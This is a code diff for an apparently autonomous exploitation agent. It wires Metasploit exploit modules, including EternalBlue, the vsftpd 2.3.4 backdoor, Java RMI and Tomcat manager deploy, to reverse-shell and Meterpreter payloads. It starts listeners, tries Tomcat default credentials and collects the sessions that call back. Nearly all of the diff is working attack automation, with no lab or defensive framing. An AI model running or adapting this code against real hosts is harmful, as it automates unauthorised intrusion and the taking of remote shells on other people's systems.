@@ -113,12 +113,51 @@ def _execute_recon(self, decision: Dict):
113113
114114 # ── Phase 3: Exploitation ─────────────────────────────────────────────
115115
116+ # Handler config per module: (payload, lport)
117+ _HANDLER_CONFIGS = {
118+ "exploit/multi/http/tomcat_mgr_deploy" : ("java/meterpreter/reverse_tcp" , 4444 ),
119+ "exploit/multi/misc/java_rmi_server" : ("java/meterpreter/reverse_tcp" , 4446 ),
120+ "exploit/unix/ftp/vsftpd_234_backdoor" : ("cmd/unix/reverse_perl" , 4445 ),
121+ "exploit/windows/smb/ms17_010_eternalblue" : ("windows/x64/meterpreter/reverse_tcp" , 4447 ),
122+ }
123+
124+ @staticmethod
125+ def _get_local_ip () -> str :
126+ import socket as _sock
127+ try :
128+ s = _sock .socket (_sock .AF_INET , _sock .SOCK_DGRAM )
129+ s .connect (("8.8.8.8" , 80 ))
130+ return s .getsockname ()[0 ]
131+ except Exception :
132+ return "0.0.0.0"
133+ finally :
134+ try :
135+ s .close ()
136+ except Exception :
137+ pass
138+
139+ def _start_msf_handler (self , lhost : str , lport : int , payload : str ):
140+ """Start a multi/handler listener to receive the reverse callback."""
141+ try :
142+ handler = self .msf_client .modules .use ("exploit" , "multi/handler" )
143+ handler ["PAYLOAD" ] = payload
144+ handler ["LHOST" ] = lhost
145+ handler ["LPORT" ] = lport
146+ handler ["ExitOnSession" ] = False
147+ pay = self .msf_client .modules .use ("payload" , payload )
148+ pay ["LHOST" ] = lhost
149+ pay ["LPORT" ] = lport
150+ handler .execute (payload = pay )
151+ time .sleep (2 ) # give the handler time to bind
152+ logger .info (f"MSF handler started: { payload } on { lhost } :{ lport } " )
153+ except Exception as exc :
154+ logger .warning (f"Failed to start MSF handler: { exc } " )
155+
116156 def _execute_exploit (self , decision : Dict ):
117157 host = decision .get ("target_host" , self .state .target )
118158 port = str (decision .get ("target_port" , 0 ))
119159 module = decision .get ("module_or_cmd" , "" )
120160 tool = decision .get ("tool" , "" ).lower ()
121- key = (host , port , module )
122161
123162 if self .state .has_tried (host , int (port ) if port .isdigit () else 0 , module ):
124163 logger .info (f"Skipping already-tried exploit: { module } on { host } :{ port } " )
@@ -128,22 +167,67 @@ def _execute_exploit(self, decision: Dict):
128167
129168 if tool == "metasploit" and self .msf_client :
130169 try :
131- from exploitation .metasploit_engine import MetasploitEngine
132- eng = MetasploitEngine ()
133- eng ._client = self .msf_client
134- result = eng .run_module (host , port , module )
135- if result .get ("status" ) == "success" :
170+ lhost = self ._get_local_ip ()
171+ handler_cfg = self ._HANDLER_CONFIGS .get (module )
172+
173+ # Start handler BEFORE exploit for reverse payloads
174+ if handler_cfg :
175+ payload_name , lport = handler_cfg
176+ print (f"[AGENT] Starting handler { payload_name } on { lhost } :{ lport } " )
177+ self ._start_msf_handler (lhost , lport , payload_name )
178+ else :
179+ payload_name = None
180+ lport = None
181+
182+ # Build and configure the MSF module DIRECTLY (no MetasploitEngine wrapper)
183+ module_type = module .split ("/" )[0 ]
184+ module_path = "/" .join (module .split ("/" )[1 :])
185+ print (f"[DEBUG] Lancement module : { module } " )
186+
187+ client = self .msf_client
188+ mod = client .modules .use (module_type , module_path )
189+ mod ["RHOSTS" ] = host
190+ if port and port != "0" :
191+ mod ["RPORT" ] = str (port )
192+ if lhost and payload_name :
193+ mod ["LHOST" ] = lhost
194+ mod ["LPORT" ] = str (lport )
195+
196+ # Tomcat default credentials
197+ if "tomcat" in module .lower ():
198+ mod ["HttpUsername" ] = "tomcat"
199+ mod ["HttpPassword" ] = "tomcat"
200+
201+ print (f"[DEBUG] Options : RHOSTS={ host } , RPORT={ port } , "
202+ f"PAYLOAD={ payload_name } , LHOST={ lhost } , LPORT={ lport } " )
203+
204+ if payload_name :
205+ pay = client .modules .use ("payload" , payload_name )
206+ pay ["LHOST" ] = lhost
207+ pay ["LPORT" ] = str (lport )
208+ raw_result = mod .execute (payload = pay )
209+ else :
210+ raw_result = mod .execute ()
211+
212+ print (f"[DEBUG] Résultat brut execute() : { raw_result } " )
213+ print (f"[DEBUG] Type résultat : { type (raw_result )} " )
214+
215+ # execute() returns dict {"job_id": ..., "uuid": ...}, int, or bool
216+ if isinstance (raw_result , bool ) and not raw_result :
217+ logger .warning (f"Module execute() returned False — exploit failed" )
218+ else :
136219 self .state .exploits_success .append ({"host" : host , "module" : module })
137220 self .bus .publish (Event (
138221 type = EventType .EXPLOIT_SUCCESS ,
139222 data = {"host" : host , "port" : port , "module" : module },
140223 source = "executor" ,
141224 ))
142- # Wait 8s — Meterpreter payloads (Tomcat, java) are slower to callback
143- time .sleep (8 )
225+ wait = 15 if handler_cfg else 8
226+ print (f"[AGENT] Waiting { wait } s for session callback..." )
227+ time .sleep (wait )
144228 try :
145229 sessions = self .msf_client .sessions .list or {}
146- print (f"[DEBUG] Sessions après exploit : { sessions } " )
230+ print (f"[DEBUG] Sessions après { wait } s : { sessions } " )
147231 for sid , sinfo in sessions .items ():
148232 sid_str = str (sid )
149233 if sid_str not in self .state .sessions :
0 commit comments